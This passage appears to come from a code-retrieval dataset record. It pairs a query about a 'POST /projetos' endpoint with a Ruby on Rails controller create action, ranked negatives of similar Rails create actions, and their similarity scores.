"0.71193683",
"0.70544946",
"0.70544946",
"0.7035905",
"0.6999275",
"0.6980091",
"0.69235367",
"0.6900078",
"0.6898801",
"0.6893538",
"0.6886277",
"0.6846206",
"0.6834716",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.68269885",
"0.6813603",
"0.6780398",
"0.6765502",
"0.67608637",
"0.67608637",
"0.67608637",
"0.67608637",
"0.67608637",
"0.67608637",
"0.67608637",
"0.6759441",
"0.6750121",
"0.6720428",
"0.6718792",
"0.6718431",
"0.6710525",
"0.6706127",
"0.66855824",
"0.666387",
"0.66514087",
"0.66430265",
"0.66369116",
"0.66351366",
"0.6605819",
"0.65994394",
"0.6598516",
"0.65876657",
"0.65664613",
"0.6561155",
"0.65586126",
"0.6552028",
"0.65497094",
"0.65454817",
"0.65419066",
"0.6528614",
"0.6527823",
"0.6527346",
"0.65160507",
"0.6507014",
"0.65013266",
"0.6493234",
"0.6479608",
"0.6477746",
"0.64610976",
"0.64571685",
"0.64553237",
"0.6454452",
"0.6450636",
"0.64441955",
"0.64298236",
"0.64298004",
"0.64246744",
"0.64218825",
"0.6418508",
"0.6418494",
"0.6411468",
"0.64040947",
"0.6397394",
"0.6391909",
"0.63871986",
"0.63834906",
"0.63783216",
"0.63783216",
"0.63724995",
"0.63651323",
"0.63475776",
"0.6342307",
"0.6338651",
"0.63329947",
"0.6330633",
"0.63293135",
"0.6329116"
] |
0.0
|
-1
|
POST /projetos POST /projetos.json
|
def create
@projeto = Projeto.new(projeto_params)
respond_to do |format|
if @projeto.save
flash[:success] = @@msgs
format.html { redirect_to @projeto, notice: @@msgs }
format.json { render :show, status: :created, location: @projeto }
else
flash[:danger] = @@msge
format.html { render :new }
format.json { render json: @projeto.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @projeto = Projeto.new(params[:projeto])\n @projeto.usuario = current_usuario\n\n respond_to do |format|\n if @projeto.save\n format.html { redirect_to @projeto, notice: 'Projeto was successfully created.' }\n format.json { render json: @projeto, status: :created, location: @projeto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projeto = Projeto.new(projeto_params)\n\n respond_to do |format|\n if @projeto.save\n format.html { redirect_to @projeto, notice: 'Projeto was successfully created.' }\n format.json { render :show, status: :created, location: @projeto }\n else\n format.html { render :new }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projet = Projet.new(projet_params)\n\n respond_to do |format|\n if @projet.save\n format.html { redirect_to @projet, notice: 'Projet was successfully created.' }\n format.json { render :show, status: :created, location: @projet }\n else\n format.html { render :new }\n format.json { render json: @projet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projeto = Projeto.create(projeto_params) \n\n respond_to do |format|\n if @projeto.save\n format.html { redirect_to @projeto, notice: 'Projeto criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @projeto }\n else\n format.html { render action: 'new' }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n #Acá se retorna de la vista New (o de cualquier lugar que llame a create con POST). Le llega el hash project_params con \n # los datos que retornó la vista.\n\n #Crea el nuevo usuario.\n @project = Project.new(project_params)\n\n respond_to do |format| #Esta linea es curiosa. Si el request le llegó por HTML, entonces fue un navegador. Si le llego\n #por JSON, entonces probablemente fue otra cosa, un app movil por ejemplo.\n if @project.save #Esto guarda el proyecto nuevo en la base de datos y retorna True si no hubo problema, y False si hubo un error.\n # Es importante notar que al llamar .save, primero pasa por el modelo, el cual revisa que no falte ningún dato.\n # Por ejemplo, si el modelo necesita que se incluya el nombre del proyecto, si o si, y no se le pasó el nombre,\n # Entonces el modelo va a guardar ese error en un hash llamado errors, dentro de el mismo (@projects.errors)\n # y va a hacer que .save retorne False.\n\n\n format.html { redirect_to :controller => \"misc\", :action =>\"about\", notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_de_projeto = TipoDeProjeto.new(tipo_de_projeto_params)\n\n respond_to do |format|\n if @tipo_de_projeto.save\n format.html { redirect_to @tipo_de_projeto, notice: 'Tipo de projeto was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_de_projeto }\n else\n format.html { render :new }\n format.json { render json: @tipo_de_projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usuario_projeto = UsuarioProjeto.new(usuario_projeto_params)\n\n respond_to do |format|\n if @usuario_projeto.save\n format.html { redirect_to @usuario_projeto, notice: 'Usuario projeto was successfully created.' }\n format.json { render :show, status: :created, location: @usuario_projeto }\n else\n format.html { render :new }\n format.json { render json: @usuario_projeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projects_objetive = ProjectsObjetive.new(projects_objetive_params)\n\n respond_to do |format|\n if @projects_objetive.save\n format.html { redirect_to @projects_objetive, notice: 'Projects objetive was successfully created.' }\n format.json { render :show, status: :created, location: @projects_objetive }\n else\n format.html { render :new }\n format.json { render json: @projects_objetive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def projeto_params\n params.require(:projeto).permit(:projeto_titulo, :projeto_descricao, :pesquisador_id, :foto)\n end",
"def projeto_params\n params.require(:projeto).permit(:nome, :descricao, :data_inicio, :status, :linguagem, :arquivoproj, :administrador, :os, :ide, :repositorio, :database, :urlPagina, :urlIssueTracker, :urlRepositorioFonte, :urlMailingList, :urlProjetoOpenHub, :licenca)\n end",
"def projeto_params\n params.require(:projeto).permit(:nome, :proponente_id, :numero, :uf, :area, :mecanismo, :enquadramento, :segmento, :processo, :date, :situacao, :providencia, :sintese, :solicitado, :aprovado, :apoiado, :date)\n end",
"def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to root_path, notice: 'Enhorabuena! Tienes un nuevo proyecto. A trabajar!' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to action: \"index\", notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n flash[:success] = \"Proyecto creado\"\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n flash[:danger] = \"Error al crear el proyecto\"\n end\n end\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: \"Proyecto was successfully created.\" }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projeto_arquitetonico = ProjetoArquitetonico.new(projeto_arquitetonico_params)\n\n respond_to do |format|\n if @projeto_arquitetonico.save\n format.html { redirect_to @projeto_arquitetonico, notice: 'Projeto arquitetonico was successfully created.' }\n format.json { render action: 'show', status: :created, location: @projeto_arquitetonico }\n else\n format.html { render action: 'new' }\n format.json { render json: @projeto_arquitetonico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def create\n @portifolio = Portifolio.find( params[:po] )\n\n @projeto = Projeto.new\n @projeto.nome = params[:projeto][:nome]\n @projeto.descricao = params[:projeto][:descricao]\n @projeto.portifolio = @portifolio\n \n respond_to do |format|\n if @projeto.save\n \n #@permissao = Permissao.new\n #@permissao.user = current_user\n #@permissao.projeto = @projeto\n #@permissao.papel = Papel.find_by_nome(Papel::DONO)\n #@permissao.save\n \n #@permissao2 = Permissao.new\n #@permissao2.user = current_user\n #@permissao2.projeto = @projeto\n #@permissao2.papel = Papel.find_by_nome(Papel::GERENTE)\n #@permissao2.save\n \n format.html { redirect_to(:controller => 'dashboard', :action => 'index', :po => @portifolio.id, :notice => 'Projeto was successfully created.') }\n format.xml { render :xml => @projeto, :status => :created, :location => @projeto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @projeto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def projeto_params\n params.require(:projeto).permit(:departamento_id, :local, :metodo, :custo, :data_inicial, :data_final, :objetivo, :nome, \n :resumo, :status, :publicado, :user_id, {:user_ids => []} )\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render :json => @project, :status => :created, :location => @project }\n format.html { redirect_to(projects_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: :created\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create\n @project = Project.new(params[:project] || JSON.parse(request.body.read))\n\n if (params[:id])\n @project.id = params[:id]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n format.json { render :json => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n format.json { render :text => \"error creating project via http/json\" }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: :created, location: @project }\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n \n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'پروژه جدید ایجاد شد. ' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def usuario_projeto_params\n params.require(:usuario_projeto).permit(:status, :usuario_id, :projeto_id)\n end",
"def create\n @project = Project.new(project_params)\n if @project.save\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n end",
"def create\n @persona_proyecto = PersonaProyecto.new(persona_proyecto_params)\n\n respond_to do |format|\n if @persona_proyecto.save\n format.html { redirect_to @persona_proyecto, notice: 'Persona proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @persona_proyecto }\n else\n format.html { render :new }\n format.json { render json: @persona_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projekt = Projekt.new(projekt_params)\n\n respond_to do |format|\n if @projekt.save\n format.html { redirect_to projekts_path(:id=>@id), notice: 'Projekt was successfully created.' }\n format.json { render action: 'show', status: :created, location: @projekt }\n else\n format.html { render action: 'new' }\n format.json { render json: @projekt.errors, status: :unprocessable_entity }\n end\n\nend\n end",
"def create\n @project = Project.new(project_params)\n\n render text: params[:project].inspect\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Proyecto creado sastifactoriamente' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prueba_json = PruebaJson.new(prueba_json_params)\n\n respond_to do |format|\n if @prueba_json.save\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prueba_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"def projet_params\n params.require(:projet).permit(:projet_img, :projet_title, :projet_description, :projet_link)\n end",
"def create\n # authenticate_user!\n @project = Project.new\n @project[:category] = params[:category]\n @project[:title] = params[:title]\n @project[:body] = params[:body]\n @project[:location] = params[:location]\n @project[:image_link] = params[:image_link]\n @project[:project_url] = params[:project_url]\n @project[:year] = params[:year]\n @project[:likes] = params[:likes]\n @project.save\n\n render json: @project\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.json { render :json => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def projet_params\n params.require(:projet).permit!\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end",
"def create\n @projects = current_user.projects\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @projects << @project\n format.html { redirect_to user_projects_path(current_user), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.skills = params[:skills]\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: t('models.project.create') }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user_id = @user.id\n if @project.save\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def create\n @project = Project.new(project_params)\n @companies = Array.new\n @project.name = @project.name.upcase\n Company.all.each do |comp|\n @companies << [comp.name, comp.id]\n end\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Proyecto registrado exitosamente.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n \n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, flash: {success: 'Project was successfully created.'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ActiveRecord::Base.transaction do\n @proyecto = Proyecto.new(proyecto_params)\n\n respond_to do |format|\n if @proyecto.save\n format.html { redirect_to @proyecto, notice: 'Proyecto programa se creó exitosamente.' }\n format.json { render :show, status: :created, location: @proyecto }\n else\n format.html { render :new }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if params[\"project\"][\"client_id\"] != \"\"\n @project.client = Client.find params[\"project\"][\"client_id\"]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Novo projeto cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo_project = TodoProject.new(todo_project_params)\n\n respond_to do |format|\n if @todo_project.save\n format.html { redirect_to @todo_project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @todo_project }\n else\n format.html { render :new }\n format.json { render json: @todo_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @project.save\n format.json { render :show, status: :created, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def create\n @projecct = Projecct.new(params[:projecct])\n\n respond_to do |format|\n if @projecct.save\n format.html { redirect_to @projecct, notice: 'Projecct was successfully created.' }\n format.json { render json: @projecct, status: :created, location: @projecct }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projecct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_project(name)\n post('projects', {:name => name})[\"project\"]\n end",
"def create\n @project = Project.new(project_params)\n @nameEverExist = Project.find_by name: @project.name\n if @nameEverExist == nil || (@nameEverExist.user == current_user && @nameEverExist.is_re_fundable)\n @project.user = current_user\n @project.status = 0\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, :flash => {success: 'Projet créé avec succès'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @project, :flash => {error: 'Impossible de crée le projet, ce nom est déjà utilisé'} }\n format.json { render :show, status: :created, location: @project }\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: \"Project was successfully created.\" }\n User.find(current_user.id).projects << Project.find(@project.id)\n @projects_user = ProjectsUser.find_by(user_id: current_user.id, project_id: @project.id)\n format.json { render :show, status: :created, location: @project }\n\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user\n @project = @user.projects.build(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if project.save\n format.html { redirect_to project, notice: 'Project was successfully created.' }\n format.json { render json: project, status: ':created', location: project }\n else\n format.html { render action: 'new' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
